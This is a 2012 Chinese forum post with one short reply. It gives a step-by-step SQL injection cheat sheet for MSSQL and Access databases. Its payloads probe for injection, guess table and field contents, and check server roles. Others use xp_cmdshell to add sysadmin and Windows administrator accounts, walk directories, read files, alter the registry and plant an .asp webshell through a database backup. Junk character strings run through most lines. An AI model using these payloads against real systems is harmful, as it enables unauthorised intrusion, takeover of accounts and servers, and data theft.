找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2489|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
手工脚本注入 3 U7 u! r* V6 \$ H5 b) t' m; R
1.判断是否有注入;and 1=1 ;and 1=2 . ?; q' V: V* s
0 u: n- f( b. f3 O' U0 G
2.初步判断是否是mssql ;and user>0
  D3 P$ K" p' v& q- v4 E' c/ w. g6 n7 H
3.注入参数是字符'and [查询条件] and ''='
, `5 ^+ n0 k2 M+ x1 B
4 R9 y8 p: a/ `# x6 }. c! J4.搜索时没过滤参数的'and [查询条件] and '%25'=' % y  k7 X7 W2 `8 I5 I
% m! p8 b) a% [. j1 U4 v; Y
5.判断数据库系统
, o( Q( t( b7 F;and (select count(*) from sysobjects)>0 mssql ) f% M, u5 F# e# G: `& M
;and (select count(*) from msysobjects)>0 access
) T  k4 e2 b/ c# J9 ~- p0 @# f: ^6 }* A9 n) I& G
6.猜数据库 ;and (select Count(*) from [数据库名])>0
. z. X4 w0 F% l+ S- @: f9 \4 V7 g6 f/ [% L+ x7 a( T3 t
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
6 }9 d- b9 N# r8 h8 i, t" ]" w, v
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 4 l+ a' N9 e4 _
1 h' ?9 p7 ]7 k: _; r! m6 U4 D
9.(1)猜字段的ascii值(access) 9 _3 G# m6 v! L* h6 u/ S, e0 l
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 $ i( ]( B, S/ I$ S

9 [/ g$ x/ U! J- j! Z# F0 v(2)猜字段的ascii值(mssql)
+ c& n  L/ z4 Y9 S* K" {;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
1 c" A6 X$ r9 |5 z- x' b# N$ l
  x8 y5 d- B- C9 c10.测试权限结构(mssql)
* a  f7 L5 X" f5 i;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- % P2 Y, O" a' H2 t
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- + A( Z& W2 p  @" y+ J; J
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 7 E* a7 m8 c: p! a( P( Q$ _
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 6 x* y9 }2 _( \' k! g8 ?; k% u* ]
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
* Q( [  Y8 g0 z$ j! q;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- - k7 j, G- l9 }# E9 k, x! |2 _
;and 1=(select IS_MEMBER('db_owner'));--
4 P& D/ d% R5 T' a1 ]) b4 G& {- j, y2 z; H0 L. g3 F
11.添加mssql和系统的帐户
. u) l1 W3 e3 h+ Q3 |; M; K% e;exec master.dbo.sp_addlogin username;-- % e" v9 w  U+ |, q( r

" M. Z5 ]5 Q( Z/ ];exec master.dbo.sp_password null,username,password;-- 5 \2 N: M6 m' Q: h; }) U3 q

- M" c1 n4 P& @, }# s$ e3 X;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 6 a: R; u/ {! o# y1 b. M% ?

& ~3 _- F2 a, g  R;exec master.dbo.xp_cmdshell 'net user username password 5 S# u5 d  A% o( K* S
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
( l+ {- Y$ [4 T$ q8 y( c' N  l1 L$ s* v' O; g- a
;exec master.dbo.xp_cmdshell 'net user username password /add';--
! z: y5 r* e+ I+ F, s9 Y
, X: b6 ]5 }- R;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- & Q, n: R5 x- @% n  l3 {) C
: l9 H1 ^3 e# j( F9 S' o/ W
12.(1)遍历目录
$ P/ ]& u$ Q2 J3 w( d0 b! u  t$ R. ^; J; F
;create table dirs(paths varchar(100), id int) 7 G4 p: y+ ]+ X, j. a
;insert dirs exec master.dbo.xp_dirtree 'c:\' . s7 b2 e: `; z9 [! Y1 H& Z5 {
;and (select top 1 paths from dirs)>0 5 I$ @; F8 s! A0 R/ G  t; f9 n
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
: \$ x. n- H# p0 J- f: o
1 ~! I8 M" q/ ]1 ^, F3 T/ `3 ^) {(2)遍历目录 - g  Z: l' }1 W7 _% D2 i
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 1 i0 j; p- o6 }. ?# j; o. |
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
8 j3 F; T' O, W  d;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
' i! ~( ]& v' ^, F6 J5 w;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 2 h, W8 }. I7 c; T8 A
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
' i9 l$ m3 W! K  V) n7 C9 D* _$ K! w+ O* h
13.mssql中的存储过程
( a' a8 n" Q! o- ?% y
0 H  k  [+ T4 s' Q% N7 o/ jxp_regenumvalues 注册表根键, 子键
* N. a. n* ?; M1 c9 g# Y& [7 m;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
9 ?' w- L" m( l! ~3 U* }9 {0 N
3 O7 ^! u, \( b$ Y0 g( q/ K# Axp_regread 根键,子键,键值名
2 k7 B" ^, Z& z$ ]: Y;exec xp_regread . Y# }; O/ Q& @+ n
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 # {+ m+ L& A+ |. R' J

# X( h& t4 B9 S$ s; p% Ixp_regwrite 根键,子键, 值名, 值类型, 值   G( _1 H* S8 C, F# J
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型   I. E. o& E# ?- c
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
0 b! U2 c3 K' B9 B8 u, ^) g4 [8 I% H1 J/ S( T2 v0 F. U7 E( q' _
xp_regdeletevalue 根键,子键,值名 * R8 s( m$ c- t( {* U. m
5 a0 t/ z4 p, W6 o' S
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
5 U& I2 S6 S0 p" |5 Z; s1 e
# B8 I! c  g. R: O; B$ Y7 yxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
' y' S6 C9 N2 Y/ T, ]3 _0 a" s
9 t' E& h8 @. T" v4 @14.mssql的backup创建webshell   M7 }( R' i. J" m
use model . `; k' M6 ^, z/ D' d
create table cmd(str image); 2 ~2 E2 L9 K; ~9 a
insert into cmd(str) values (''); / \* y" l& W5 M7 a/ C
backup database model to disk='c:\l.asp';   i0 [" j* O2 E* Y

. ?# S  w. A* N4 a15.mssql内置函数 $ K2 F/ v6 I: m# \! T
;and (select @@version)>0 获得Windows的版本号
  R& {1 K$ u* B5 A9 t;and user_name()='dbo' 判断当前系统的连接用户是不是sa $ s- n" e4 s7 B1 m  O6 x/ B. c- n4 S# B
;and (select user_name())>0 爆当前系统的连接用户
2 T( L  u* W. @; O. O) K! a9 h;and (select db_name())>0 得到当前连接的数据库 ( @, M/ n5 g' z% `

3 W  t$ f. h- W1 C16.简洁的webshell   k* [1 I2 E, s% m$ O% n' B
% z" a2 I! f# U6 y. l% Z! P
use model 5 B! |! |2 [7 m$ H
, ]: k% V" U' U4 P9 K- t
create table cmd(str image); ( `# Q! C' E2 I  \

5 N) T! ?/ K! U: D- m4 U% ginsert into cmd(str) values ('');
) }5 E1 R  v' ?$ [& O, L4 ?
- \. {0 J3 O3 ^5 cbackup database model to disk='g:\wwwtest\l.asp'; # i- E! ~5 b7 l3 {
  b9 Z, |: Q+ n8 v6 K6 N6 i8 _5 A! V( H
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表